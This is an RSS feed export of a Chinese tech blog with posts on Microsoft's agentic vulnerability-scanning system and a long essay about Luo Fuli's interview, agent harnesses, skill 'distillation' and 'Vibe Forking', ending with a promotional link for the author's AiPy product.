<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>黑哥虾撩</title>
    <link>https://wechat2rss.xlab.app/feed/27be924bf0d49a8d3ff45c0a85e9c6e94ba7a93c.xml</link>
    <description>古典过期黑客，江湖人称苏坡黑、黑锅、黑大壮等，自称黑哥尔！&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (黑哥虾撩)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM4F0lfKrH4LbO1GVzng7sPpjWicg0SInf3XxiaZFiaOaTN5w/0</url>
      <title>黑哥虾撩</title>
      <link>https://wechat2rss.xlab.app/feed/27be924bf0d49a8d3ff45c0a85e9c6e94ba7a93c.xml</link>
    </image>
    <item>
      <title>在上一篇文章 《罗福莉访谈之后：Vibe Coding → Vibe Working → Vibe Forking》https://mp.weixin.qq.com/s/D4bAcI3TN4b_cEhk-aftNQ 提</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484545&amp;idx=1&amp;sn=04d83781230991a0a34b0734a4550952</link>
      <description>在上一篇文章 《罗福莉访谈之后：Vibe Coding → Vibe Working → Vibe Forking》https://mp.weixin.qq.com/s/D4bAcI3TN4b_cEhk-aftNQ 提到的另外一个“ah moment”其实就是指漏洞挖掘的模型分水岭出现了～ 今天看到两篇文章&#xA;&#xA;介绍微软用他们的智能体 MDASH（multi-model agentic scanning harness），编排 100+ specialized AI agents，并称其在公开 CyberGym benchmark 上拿到 88.45% 并且在他们内部发现了多个tcpip.sys的RCE：&#xA;&#xA;https://www.geekwire.com/2026/microsofts-multi-agent-ai-system-tops-anthropics-mythos-on-cybersecurity-benchmark/&#xA;&#xA;https://www.microsoft.com/en-us/security/blog/2026/05/12/defense-at-ai-speed-microsofts-new-multi-model-agentic-security-system-tops-leading-industry-benchmark/&#xA;</description>
      <content:encoded><![CDATA[<p><span>黑哥虾撩</span> <span>2026-05-14 18:15</span> <span style="display: inline-block;">湖南</span></p>






  
  
  <p>在上一篇文章 《罗福莉访谈之后：Vibe Coding → Vibe Working → Vibe Forking》https://mp.weixin.qq.com/s/D4bAcI3TN4b_cEhk-aftNQ 提到的另外一个“ah moment”其实就是指漏洞挖掘的模型分水岭出现了～ 今天看到两篇文章</p><p>介绍微软用他们的智能体 MDASH（multi-model agentic scanning harness），编排 100+ specialized AI agents，并称其在公开 CyberGym benchmark 上拿到 88.45% 并且在他们内部发现了多个tcpip.sys的RCE：</p><p>https://www.geekwire.com/2026/microsofts-multi-agent-ai-system-tops-anthropics-mythos-on-cybersecurity-benchmark/</p><p>https://www.microsoft.com/en-us/security/blog/2026/05/12/defense-at-ai-speed-microsofts-new-multi-model-agentic-security-system-tops-leading-industry-benchmark/</p>
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3a29b9e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FxTZfvDhkzLvwn2anPYXiaYsOxA5b6mrN9oHRTgrFics6zLHghjglVfB93h0hwN3icHhciaPTwtpJHdFO9rUUn4cT8SHFM0V2NXq7oGL3QIic0jZI%2F0%3Fwx_fmt%3Dpng"/></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f9b59418&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTU1NTEwMg%3D%3D%26mid%3D2247484545%26idx%3D1%26sn%3D04d83781230991a0a34b0734a4550952">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 14 May 2026 18:15:00 +0800</pubDate>
    </item>
    <item>
      <title>罗福莉访谈之后：Vibe Coding → Vibe Working → Vibe Forking</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484539&amp;idx=1&amp;sn=f2ba0ad4c2b092d4fe6e84375bbba587</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>heige</span> <span>2026-05-11 18:06</span> <span style="display: inline-block;">美国</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d492f4d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FxTZfvDhkzLuhonbB03ayywfLAOvWRSGRj15icly6U87qnaKWXoraOBTGibfT3pnBUkEfdeZ7I7KIddwcV8zQiaEvqQfT970RxYaureQ3aicUuQY%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000887" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=3ad62b59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FxTZfvDhkzLuAA4yroUEqERwrAdZkVXaia6lfjPaicwmfwdz6jMDZvTOXQEhD3v4YonOcicYN9EnQPABuhkgia9YycChqX9TFG6mSd1W9a46jYqw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;"><span leaf=""><span textstyle="" style="font-size: 12px;">图片有aipy +Image2绘图大师智能体生成</span></span></p><p><span leaf="">这篇文章按道理早应该写了，只是最近一直沉迷于Vibe Working，所以就一拖再拖，AI时代如果实现了大模型自由（不仅仅是Tokens自由）你会发现可能会进入一个全新的“ah moment” 而我觉得这段时间正好处于我感受到的又一个“ah moment”，前一个感受当然就是AiPy最新出来的时候 ...</span></p><p><span leaf="">2周前，曾经的“天才少女”罗福莉最新的采访视频发布：</span></p><blockquote><p><span leaf=""><a href="https://www.youtube.com/watch?v=V9eI-t3TApE" target="_blank">https://www.youtube.com/watch?v=V9eI-t3TApE</a></span></p><p><span leaf=""><a href="https://www.bilibili.com/video/BV1iVoVBgERD/" target="_blank">https://www.bilibili.com/video/BV1iVoVBgERD/</a></span></p></blockquote><p><span leaf="">这个采访视频时长有3.5个小时，发布之后还是引起不少的关注，不过可能很多人都没有完整看完视频，没有看的可以看看，也看去看看对应文字记录梳理版 如：</span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzkyMTYwNjgwNA==&amp;mid=2247495384&amp;idx=1&amp;sn=9538593cc2328802de2fcb60925826d8&amp;scene=21#wechat_redirect" textvalue="万字长文梳理「罗福莉」三个半小时的访谈：2026年不是Agent元年，是生产力爆发年" data-itemshowtype="0" linktype="text" data-linktype="2"><a href="https://mp.weixin.qq.com/s/ePslW5QYP6rvx_C3qF0IEQ" target="_blank">https://mp.weixin.qq.com/s/ePslW5QYP6rvx_C3qF0IEQ</a></a></span></p><p><span leaf="">引起关注的主要是前半部分，罗福莉聊OpenClaw的那段：大体上是说她一开始是“排斥”的，然后在春节放假期间，奔着闲着的时候带着“为什么OpenClaw那么火的”的疑问，真正体验了下，然后感受到“兴奋”，“在产品设计上超过想象”，到真正感受到为自己“干活”而兴奋，最终也引起了她对新模型训练等上的一些思考 ...</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">泛化</span></span></p><p><span leaf="">说实话，如果你看过我之前的文章，我“碰瓷”过卡帕西（Andrej Karpathy），也“碰瓷”过尧舜禹（姚顺雨）的一些采访和观点，相比之前这些我对罗福莉的这些观点没有特别大的那种所谓“共鸣”，因为我感觉她这些感受，在我的体验上看，早在1年+之前 我们AiPy诞生的时刻，就已经感受过了，所以到后面Claude Code 到 Openclaw 再到 Hermes 其实没太大的“啊哈 moment”的感受，我想很多早期一开始体验过AiPy的可能都有我这个感受 ... 当然比较可惜的我们覆盖度不够大</span></p><p><span leaf="">在罗福莉的采访里提到了她对Claude Code到Openclaw的时候，提到了她在OpenClaw上有很多感受是在Claude Code使用上没有体验到的，当然她也说了很多能力实现其实Claude Code就是具备的，比如 记忆 、不用考虑模型适配等等，而这些其实就是我当时我们总工LGX第一次发给我AiPy（参考《<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484350&amp;idx=1&amp;sn=597466021965564fe0b88789ec36e7f2&amp;scene=21#wechat_redirect" textvalue="【Agents/MCP可能不存在了】No Agents, Just Python-use！" data-itemshowtype="0" linktype="text" data-linktype="2">【Agents/MCP可能不存在了】No Agents, Just Python-use！</a>》）的时候体验是“一模一样的”，而当时最开始LGX在公司群里第一次介绍aipy的时候的疑问这个跟Cursor有什么区别，有Cursor也一样能干活，而真正用上AiPy的时候才能真正感觉还是不一样， 还有一点就是罗福莉访谈里也提到了Code泛化的问题，她在使用Claude Code虽然觉得 Claude Code也除了IDE外也确实可以依赖Code泛化能力去进行Work，但是这OpenClaw让他感受了更强大的听过Code实现了Work的泛化，这个也是是她觉得Openclaw这种Agent框架带来的优势。</span></p><p><span leaf="">而在我看来这个其实就是Vibe Coding 与 Vibe Working 这两个概念的区别，当时卡帕西的Vibe Coding火了后，很多人@我说，AiPy不就是吗？其实那个时候我觉得不完全是，一直到跟我们CEO IC聊的是时候，提到Vibe Work这个词 才有恍然一亮的感觉（参考《<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484413&amp;idx=1&amp;sn=583de95c7b2f0cb6daff2c4dbf08b674&amp;scene=21#wechat_redirect" textvalue="从 Vibe Coding 到 Vibe Working" data-itemshowtype="0" linktype="text" data-linktype="2">从 Vibe Coding 到 Vibe Working</a>》）</span></p><p><span leaf="">罗福莉 在采访里还有提到的一个点，就是Agent框架能弥补模型本身缺失的能力，其实这个问题我之前在 </span></p><blockquote class="js_blockquote_wrap"><div class="js_blockquote_digest"><p><span leaf="">我其实在这里“钻个牛角尖”，跟他原本的想表达的观点可能没啥太大的关系，比如 9.8 vs 9.11谁大的问题 或者草莓那个单词有几个r的问题，如果这个用纯模型去训练解决，感觉也让很多的模型基础研究头疼的问题，要不然GPT好几个模型都没有很好解决，反过来如果用Agent的方式，我直接用代码一下就算出来了， 哪个数字大、统计草莓里多个r，非常简单而且正确</span></p></div><p class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22article%22%3A%7B%7D%2C%22from%22%3A%22https%3A%2F%2Fweibo.com%2F2783938821%2FQmOtFrrrT%22%7D"><span class="blockquote_other"><a href="https://weibo.com/2783938821/QmOtFrrrT" target="_blank">https://weibo.com/2783938821/QmOtFrrrT</a></span></p></blockquote><p><span style="color: rgb(51, 51, 51);font-family: QuoteFallback, system-ui, -apple-system, &#34;Segoe UI&#34;, Roboto, Ubuntu, Cantarell, &#34;Noto Sans&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: pre-wrap;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">里就用了 “9.8 vs 9.11 谁大”、“草莓单词有几个r”的例子就感受到了Agent其实是非常好去解决这种问题，而解决方法就是通过Code泛化去解决，直接计算一下上面的答案就非常准确，而从模型角度去真正“解决”估计会非常麻烦，毕竟GPT本身原理是预测概率。而这些其实都是非常时候Agent的场景，这里也可以顺带例举前面我在朋友圈分享的一个例子</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000880" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=3ba6133f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FxTZfvDhkzLsqSc2G2tzQ4zINlVaHzAib8NSnssGYtplGJfl5aAkdjxU68pDo9EDYejqK4cT4iaiaCFnANZFW0zOBHhVTuqZH8ib6q4KYKZJBWCs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000881" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=5bc1cf91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FxTZfvDhkzLsUIPP0MN8ZO0ibC9xAhC2raaPibGXibAOxPkxLpkY9f8z9xCLKvbWhn9EdIYgHib2z5qygj6sb2r6Gnic6JzCAqQMtl9GhOo5icwx4Y%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">这个是2024年的一个ppt，当时还是比较流行RAG，实际上我当时就用Agent的方式去替代RAG，因为相比RAG的通过向量化的成功率远不如一个Agent调用一个API出来的数据高效并准确可靠，当然那个时候这种方式比较适合能结构化数据，不过到现在非结构的话的基本上也开始使用Agent的模式了 比如前面很火的karpathy是那个wiki </span></p><blockquote><p><span leaf=""><a href="https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f" target="_blank">https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f</a></span></p></blockquote><p><span leaf="">还有这几天比较火的 </span></p><blockquote><p><span leaf=""><a href="https://github.com/VectifyAI/PageIndex" target="_blank">https://github.com/VectifyAI/PageIndex</a></span></p></blockquote><p><span leaf=""> 这个我也Vibe到我本地AiPy分支里 效果还是非常不错的</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000882" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=76989770&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FxTZfvDhkzLtPLoGOHSP6xCiarAicWGicVdFHzGCtrlwu8HElPzDuoU2ITfLrKLyG4XYiazm0QkxotlxVqDZGN4KgCQE9htLnmocPJjyfrKJEtIc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">我们回到罗福莉的采访，可能也是上面提到的她在采访里提到的“Agent框架能弥补模型本身缺失的能力”这个观点，导致很多在我看来很片面的解读，比如《罗福莉：AI 的范式变了，框架比模型更重要》</span></p><blockquote><p><span leaf=""><a href="https://x.com/Bill_Do_A_Bit/status/2048382197363814573" target="_blank">https://x.com/Bill_Do_A_Bit/status/2048382197363814573</a></span></p></blockquote><p><span leaf="">实际上她在采访里出来就没说过这个结论，她实际在意的是Chat时代到Agent的时代的转变，也就是说“训Chat”模型转为模型怎么“训Agent”，而这点就是我在《<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484484&amp;idx=1&amp;sn=f2074c8b6895179bbcc21bb5db71b712&amp;scene=21#wechat_redirect" textvalue="AI Agent 下半场" data-itemshowtype="0" linktype="text" data-linktype="2">AI Agent 下半场</a>》文章里提到的观点。</span></p><p><span leaf="">所以在我看来，罗福莉访谈真正有价值的地方，不是证明 OpenClaw 多么神，也不是证明框架压过模型，而是让更多人意识到：AI 正在从 Chat 时代进入 Agent 时代。模型能力开始进入真实环境，开始和代码、工具、记忆、Skills、Workflow、后训练、权限系统、环境反馈融合成一个新的执行系统。</span></p><p><span leaf="">这个系统，我更愿意称之为 Agent Runtime。也可以用我之前反复说的那句话来概括：《<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484466&amp;idx=1&amp;sn=e65765298da167e80bb0cf7f63cf34ce&amp;scene=21#wechat_redirect" textvalue="2026 AI Agent 的核心：Context Engineering，让环境可计算化" data-itemshowtype="0" linktype="text" data-linktype="2">2026 AI Agent 的核心：Context Engineering，让环境可计算化</a>》。</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">蒸馏</span></span></p><p><span leaf="">这里先说明一下，我说的“蒸馏”，不是传统机器学习里模型训练阶段的 Knowledge Distillation，也不是前面比较流行的类似于女娲skill/同事skill这种“蒸馏”（当然AiPy上还有一个蒸馏出黑哥的Skill）</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000883" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=1972f0ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FxTZfvDhkzLvHdL9vTssT2DrAnkZScBrCVEFzDwZl2eIFu110iayg4ye1LAUgHeteITRcqpHAmFcEFUrib7IiaajeOFLNQOqib3QmCaCOANDicpqI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">我这里想讲的，是对“蒸馏”这个概念的进一步泛化。可以理解为把高端模型在完成复杂任务时表现出来的关键能力进行提炼，包括：任务拆解方式、上下文组织方式、工具调用顺序、验证与反馈机制、失败后的修正路径、中间产物的结构化表达、判断标准与检查清单 等等，然后把这些能力沉淀进一个可执行、可观测、可反馈的 Harness 里。这样，中低端模型即使本身能力不如高端模型，也可以借助 Harness 中预先设计好的任务结构、执行路径、工具链和验证环节，更稳定地完成原本只有高端模型才能做好的任务。</span></p><p><span leaf="">在罗福莉的访谈里提到了她在用OpenClaw的的时候，她对她进行了优化改进，并且发现通过这类Agent的“精细化的Context调用”及Skills等的应用让中端模型实现与高端模型（claude 4.6）对标的效果，当然她强调了了1T参数模型的入场券门槛，这些其实侧面说明了她不是再说“框架比模型重要”。当然后面主持人也提到后面小米也了对应Claw，不过显然对她更大的启示还是上面已经说过在训模型角度的转变。</span></p><p><span leaf="">那这里提到中端模型通过一些模型之外的Harness框架工程，达到了类Claude 4.6的效果，这其实就是我上面提到的泛化版“蒸馏”。</span></p><p><span leaf="">其实在我在《<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484484&amp;idx=1&amp;sn=f2074c8b6895179bbcc21bb5db71b712&amp;scene=21#wechat_redirect" textvalue="AI Agent 下半场" data-itemshowtype="0" linktype="text" data-linktype="2">AI Agent 下半场</a>》里提到的 ：</span></p><blockquote><p><span leaf="">“下半场”范式：自动总结生成 Skills并分发  </span></p></blockquote><p><span leaf="">的部分最佳实践效果是：用高端模型去完成任务并自动总结对应的Skills然后提供给中低端模型使用，在后面的案例文《<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484497&amp;idx=1&amp;sn=0b609734e0cd791e816729101d7208ea&amp;scene=21#wechat_redirect" textvalue="使用Zoomeye 和 AiPy 捕获 Coruna 样本" data-itemshowtype="0" linktype="text" data-linktype="2">使用Zoomeye 和 AiPy 捕获 Coruna 样本</a>》 其实就提到了这个“套路”的实战，用Gemini/Codex的模型能力实现后，提炼Skills，应用到国产模型上，效果是非常显著的。</span></p><p><span leaf="">这里也顺带提一句在，也就是我上面提到的 Skill自循环 这个在后面看到的 Hermes 里都有实现参考：</span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzA5NDYyNDI0MA==&amp;mid=2651960454&amp;idx=1&amp;sn=4f80bd8d5539a8888c3586bf8bc6a36e&amp;scene=21#wechat_redirect" textvalue="我们发现了 Hermes Agent 的第一个远程代码执行漏洞，但这已经不重要了" data-itemshowtype="0" linktype="text" data-linktype="2"><a href="https://mp.weixin.qq.com/s/R8r4WSi1eEh0r0Uwxo_5dA" target="_blank">https://mp.weixin.qq.com/s/R8r4WSi1eEh0r0Uwxo_5dA</a></a> </span></p><p><span leaf="">当然我本地AiPy也实现了</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000884" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=5660e541&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FxTZfvDhkzLtm3xhkSbHKRegficqffnzrRaZicmL3ROTEXEkNBaxSGWsxE0Kt7icj7Kj67US4hWLg739bfMWsicRhcXOmUibnZAYQ6ywUJxib0RTvU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">对于AiPy来说，我们主力模型其实一直都是国内模型，相比Manus同期的Agent那时候是完全依赖Claude的模型效果的（那时候应该还是在3.5～3.7），而AiPy一直在针对工程模型上做最大的体验效果（当然你要接国外顶级模型也是完全可以的只是得手工配置下或者使用我们AiPy的海外版），所以很多时候收到用户反馈说，体验很多各种Claw后发现还是AiPy最能真正干活，可能也就是这么个原因。</span></p><p><span leaf="">当然我这里说Harness框架工程给带来的模型落地效果的增益，这个是跟罗福莉观点是一致的，在不久后这种自进化的可能不只是Skill，Agent的框架等都可自进化，框架应该应该高端与模型“耦合”，把框架自身的各种接口开放给模型，让模型接管一切～～ 这个有点让我想起了当年我推荐过的一个项目ELL：</span></p><blockquote><p><span leaf=""><a href="https://github.com/madcowd/ell" target="_blank">https://github.com/madcowd/ell</a></span></p></blockquote><p><span leaf=""> 也是唯一一个我推荐但是没有那么火的项目。不过最近看到一个TS框架项目也是有那么点味道 ：</span></p><blockquote><p><span leaf=""><a href="https://github.com/withastro/flue" target="_blank">https://github.com/withastro/flue</a></span></p></blockquote><p><span leaf="">不过我觉得可能ell这种项目不火，但是这些理念可能会慢慢融合到新的框架设计中。</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">视角</span></span></p><p><span leaf="">在前面我们讨论很多人片面解读罗福莉访谈的一些观点的时候，其实跟视角相关，比如 《罗福莉：AI 的范式变了，框架比模型更重要》可能代表的是第三方Agent开发的视角，而 罗福莉 自己更多是一个基础模型研究视角，这个是跟她本身的研究领域方向是相关的，所以导致这她相对“后知后觉”模型训练从Chat模式转Agent模式，而实际上现在线上的那些模型的Chat服务，早就不是一个单一的模型了，而是一个内化的Agent的互联网模式框架产品，也就是类Manus这类的云端的产品。当然在她的访谈里也提到模型会结合Deep research这种单一功能的智能体，觉得很简单，并没有太多纠结的地方，直到OpenClaw的体验经历带来的改变。</span></p><p><span leaf="">这里其实是有几个视角：</span></p><blockquote><p><span leaf="">第三方Agent开发视角</span></p><p><span leaf="">模型厂商视角</span></p></blockquote><p><span leaf="">这些其实在我以往的文章里都涉及到，而我更多的使用“环境”视角或者说“数据”视角，如果简单粗暴点 分云端 和 本地 ，就像我之前文章里提到过的 “Manus这种云端Agent都会被模型厂商产品内化”</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000885" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=274e6615&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FxTZfvDhkzLtsCRdxYHKWT7y2LxwjKfAzqy3nXmfJHsUGDgLCNg2CVhFAxt5P2h4zvDVnh0dHmXoVibuZic1vSmENtutTbtibH99wuc8AmsiaYIU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">于是我把我写的这些文章、罗福莉访谈、包括上面批判的《罗福莉：AI 的范式变了，框架比模型更重要》文章都发模型，最终通过GPT-Image-2模型给我生成下图</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000886" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=f2fb07f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FxTZfvDhkzLu96cqLXnrGic4LM7J0qceKM7VnEpqlLaDTMR8k7KtXdNsRBwtibnBoaE9eJygjqicmxJkFozO1eMj0Ed55eTGQUUXDZpbNaHYlnM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">开源</span></span></p><p><span leaf="">罗福莉在聊到“为什么不是 Claude Code？”有原因之一把它归结到OpenClaw是开源，而Claude Code不开源，其实对于OpenClaw的火我认为是一个综合因素，开源可能是中间的一个因素环节，当然她也提到Claude Code 的设计是 for 软件工程的，这个也就是我上面提到过了 Vibe-Coding VS Vibe-Working的问题。 </span></p><p><span leaf="">简单来说她认为：</span></p><blockquote><p><span leaf="">Claude Code 是：</span></p><p><span leaf="">模型强 + 产品封装强 + 闭源内部迭代。</span></p><p><span leaf="">OpenClaw 是：</span></p><p><span leaf="">框架开放 + 用户可改 + 社区可贡献 + 模型也能参与改造。</span></p></blockquote><p><span leaf="">她这里强调的是开源可以带来“群体智慧”，实现：代码 + Skills + Memory + Workflow + Context + 使用反馈 + 人类经验 的共同演化。 </span></p><p><span leaf="">对于开源的态度我其实是非常认同的，在前面参加腾讯云主办的AI Agent安全渗透智能体比赛采访的时候就聊到的这个话题</span></p><p class="channels_iframe_wrp" nodeleaf=""><div></div></p><p><span leaf="">我甚至觉得，LLM 时代的开源社区玩法，还要再往前一步。传统开源的核心动作是 PR：大家围着一个官方版本贡献代码，等待 maintainer 合并。</span></p><p><span leaf="">但 Agent 时代的核心动作，可能会变成 Vibe Forking：每个人都可以基于别人的 Agent、Skills、Workflow、Memory、工具接口和任务经验，直接 Fork 出一个属于自己的 DIY 版本。你喜欢我的版本，就直接用。你不喜欢，也不用争论谁对谁错，直接拿走你觉得有价值的部分，让大模型帮你按照自己的环境、数据、习惯、审美和工作流重新 vibe 一遍。</span></p><p><span leaf="">改出来的版本如果更适合你，就自己用；如果更好，就发布出来。别人再基于你的版本继续 Fork、继续改、继续 vibe PK。这就是所谓的 Vibe Forking ...</span></p><p><span leaf="">它不是传统意义上的 fork 一个仓库、改几行代码、提交 PR；而是把别人的“做事方式”fork 过来，再用大模型改造成适合自己的生产力系统。在这个时代，人人都是开发者，人人都是产品经理，人人都是自己的 Agent maintainer。</span></p><p><span leaf="">每个人都可以拥有自己的 Agent 版本、自己的 Skills 组合、自己的 Workflow、自己的 Memory 结构、自己的工具接口。</span></p><p><span leaf="">传统开源开的是代码，模型时代开的是权重，而 Agent 时代真正要开的，是可运行的人类经验。</span></p><p><span leaf="">--------</span></p><p><span leaf="">如果有人想体验文中开头插图效果请移步</span></p><p><span leaf="">章鱼哥 AiPy 下载: <a href="https://www.aipyaipy.com/?referral=aipy_sE5B" target="_blank">https://www.aipyaipy.com/?referral=aipy_sE5B</a></span></p><p><span leaf="">找到</span><span leaf="">image2 绘图大师 智能体 体验最强的生图模型GPT-Image-2</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000888" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=9b43c612&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FxTZfvDhkzLsnxLZcialetkR0VNjf5wpSQnWOKM8cibXgtoVyKvHvmviaOscGC3rdyTs6WJvhK8gc7e5wQ4etzUN3hhrOhj1MIpYx8HAUrpsAfM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c2dd5a86&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTU1NTEwMg%3D%3D%26mid%3D2247484539%26idx%3D1%26sn%3Df2ba0ad4c2b092d4fe6e84375bbba587">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 11 May 2026 18:06:00 +0800</pubDate>
    </item>
    <item>
      <title>我的父亲是黑客</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484526&amp;idx=1&amp;sn=7dc32c5246dc1171a6f704ee34ea3036</link>
      <description>我的父亲是黑客。这名号，在益阳小城的弄堂里传了许多年，弄堂口的青石板被雨浸得发黑，住着的都是些靠手艺吃饭的人，哪见过这号人物。</description>
      <content:encoded><![CDATA[<p>原创 <span>AiPy</span> <span>2026-04-30 22:43</span> <span style="display: inline-block;">湖南</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9f6affc5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FxTZfvDhkzLtnemJF0mDPD8r5OtctZpFW3rsE1L9QDsl51rMa113JYQBoZsGV5g0xIroQN1dakAv8FdGMZbvR2icpaQ4uj1tuLzaq4vw5wdqo%2F0%3Fwx_fmt%3Djpeg"/></p>
  
